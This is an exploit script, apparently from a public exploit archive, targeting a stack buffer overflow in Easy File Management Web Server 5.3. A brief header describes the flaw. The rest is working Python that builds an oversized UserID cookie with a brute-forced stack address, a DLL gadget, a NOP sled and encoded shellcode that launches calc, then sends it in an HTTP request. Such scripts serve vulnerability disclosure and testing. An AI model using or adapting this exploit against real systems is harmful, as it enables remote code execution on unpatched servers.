Easy File Management Web Server 5.3 - Stack Buffer Overflow

#!/usr/bin/env python

# Exploit Title: Easy File Management Web Server 5.3 stack buffer overflow

# Date: 19 May 2014

# Exploit Author: superkojiman - http://www.techorganic.com

# Vendor Homepage: http://www.efssoft.com

# Software Link: http://www.web-file-management.com/download.php

# Version: 5.3

# Tested on: English version of Windows XP Professional SP2 and SP3

#

# Description:

# By setting UserID in the cookie to a long string, we can overwrite EDX which

# allows us to control execution flow when the following instruction is

# executed:

#

# 0x00468702: call dword ptr [edx+28h]

#

# Very similar to Easy File Sharing Web Server 6.8 exploit here:

# http://www.exploit-db.com/exploits/33352/

# I suspect their other web server solutions might be vulnerable to a similar

# overflow.

#

# Tested with Easy File Management Web Server installed in the default location

# at C:\EFS Software\Easy File Management Web Server

import socket

import struct

import sys

target = "172.16.229.134"

port = 80

# calc shellcode from https://code.google.com/p/win-exec-calc-shellcode/

# msfencode -b "\x00\x20" -i w32-exec-calc-shellcode.bin

# [*] x86/shikata_ga_nai succeeded with size 101 (iteration=1)

shellcode = (

"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +

"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +

"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +

"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +

"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +

"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +

"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +

"\x1c\x39\xbd"

)

for i in xrange(1,255):

n = ""

if i < 16:

n = "0" + hex(i)[-1]

else:

n = hex(i)[2:]

# craft the value of EDX that will be used in CALL DWORD PTR DS:[EDX+28]

# only second byte changes in the stack address changes, so we can brute

# force it

guess = "0x01" + n + "9898"

print "trying", guess

payload = "A"*20 # padding

payload += struct.pack("<I", 0x1001646a) # call edi @LoadImage.dll

payload += "B"*56 # padding

payload += struct.pack("<I", int(guess, 16)) # guessed address in stack

# containing pointer to

# call edi

payload += "\x90"*20 # nop sled

payload += shellcode # win!

# craft the request

buf = (

"GET /vfolder.ghp HTTP/1.1\r\n"

"User-Agent: Mozilla/4.0\r\n"

"Host:" + target + ":" + str(port) + "\r\n"

"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"

"Accept-Language: en-us\r\n"

"Accept-Encoding: gzip, deflate\r\n"

"Referer: http://" + target + "/\r\n"

"Cookie: SESSIONID=6771; UserID=" + payload + "; PassWD=;\r\n"

"Conection: Keep-Alive\r\n\r\n"

)

# send the request and payload to the server

s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s1.connect((target, port))

s1.send(buf)

s1.close()